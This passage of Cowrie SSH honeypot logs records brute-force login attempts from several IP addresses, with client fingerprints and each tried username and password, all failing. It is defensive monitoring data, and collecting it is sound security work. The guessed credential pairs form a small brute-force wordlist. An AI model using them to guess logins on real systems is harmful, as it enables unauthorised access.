56-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:50.953449Z","src_ip":"167.86.66.42","session":"c757eca19b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito123","message":"login attempt [jito/jito123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:51.236418Z","src_ip":"167.86.66.42","session":"c757eca19b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:52.335555Z","src_ip":"167.86.66.42","session":"c757eca19b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14600,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1836ab09330","protocol":"ssh","message":"New connection: 5.196.136.131:14600 (10.17.0.5:22) [session: c1836ab09330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:53.054212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:53.058089Z","src_ip":"5.196.136.131","session":"c1836ab09330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:53.134239Z","src_ip":"5.196.136.131","session":"c1836ab09330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:53.364489Z","src_ip":"5.196.136.131","session":"c1836ab09330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:54.447854Z","src_ip":"5.196.136.131","session":"c1836ab09330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38802,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc11b46f9d00","protocol":"ssh","message":"New connection: 5.196.136.131:38802 (10.17.0.5:22) [session: cc11b46f9d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:57.475650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:57.479765Z","src_ip":"5.196.136.131","session":"cc11b46f9d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:57.556698Z","src_ip":"5.196.136.131","session":"cc11b46f9d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:57.789295Z","src_ip":"5.196.136.131","session":"cc11b46f9d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:26:58.867805Z","src_ip":"5.196.136.131","session":"cc11b46f9d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":22738,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8400b5395e","protocol":"ssh","message":"New connection: 5.196.136.131:22738 (10.17.0.5:22) [session: 4b8400b5395e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:01.984267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:01.989278Z","src_ip":"5.196.136.131","session":"4b8400b5395e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:02.067291Z","src_ip":"5.196.136.131","session":"4b8400b5395e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:02.306811Z","src_ip":"5.196.136.131","session":"4b8400b5395e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:03.388126Z","src_ip":"5.196.136.131","session":"4b8400b5395e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45841,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc9fd7ff8762","protocol":"ssh","message":"New connection: 5.196.136.131:45841 (10.17.0.5:22) [session: cc9fd7ff8762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:06.491007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:06.494252Z","src_ip":"5.196.136.131","session":"cc9fd7ff8762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:06.588616Z","src_ip":"5.196.136.131","session":"cc9fd7ff8762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:06.824511Z","src_ip":"5.196.136.131","session":"cc9fd7ff8762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":54712,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b53a8e33ea0","protocol":"ssh","message":"New connection: 162.214.22.174:54712 (10.17.0.5:22) [session: 0b53a8e33ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:07.477760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:07.481378Z","src_ip":"162.214.22.174","session":"0b53a8e33ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:07.569874Z","src_ip":"162.214.22.174","session":"0b53a8e33ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iotex","password":"iotex789","message":"login attempt [iotex/iotex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:07.840680Z","src_ip":"162.214.22.174","session":"0b53a8e33ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:07.904595Z","src_ip":"5.196.136.131","session":"cc9fd7ff8762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":59136,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b0643b4bebc","protocol":"ssh","message":"New connection: 173.236.141.65:59136 (159.203.135.109:22) [session: 0b0643b4bebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:08.298798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:08.301373Z","src_ip":"173.236.141.65","session":"0b0643b4bebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:08.310161Z","src_ip":"173.236.141.65","session":"0b0643b4bebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RVN#Tr0ng!P@ss","message":"login attempt [root/RVN#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:08.340622Z","src_ip":"173.236.141.65","session":"0b0643b4bebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:09.352123Z","src_ip":"173.236.141.65","session":"0b0643b4bebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:09.804772Z","src_ip":"162.214.22.174","session":"0b53a8e33ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":62784,"dst_ip":"10.17.0.5","dst_port":22,"session":"dccdb4ae3050","protocol":"ssh","message":"New connection: 5.196.136.131:62784 (10.17.0.5:22) [session: dccdb4ae3050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:10.873466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:10.877085Z","src_ip":"5.196.136.131","session":"dccdb4ae3050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:10.955684Z","src_ip":"5.196.136.131","session":"dccdb4ae3050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:11.195280Z","src_ip":"5.196.136.131","session":"dccdb4ae3050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:12.277514Z","src_ip":"5.196.136.131","session":"dccdb4ae3050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25827,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59aa0798bfd","protocol":"ssh","message":"New connection: 5.196.136.131:25827 (10.17.0.5:22) [session: f59aa0798bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:15.327109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:15.331903Z","src_ip":"5.196.136.131","session":"f59aa0798bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:15.410558Z","src_ip":"5.196.136.131","session":"f59aa0798bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:15.655403Z","src_ip":"5.196.136.131","session":"f59aa0798bfd","protocol":"ssh"}
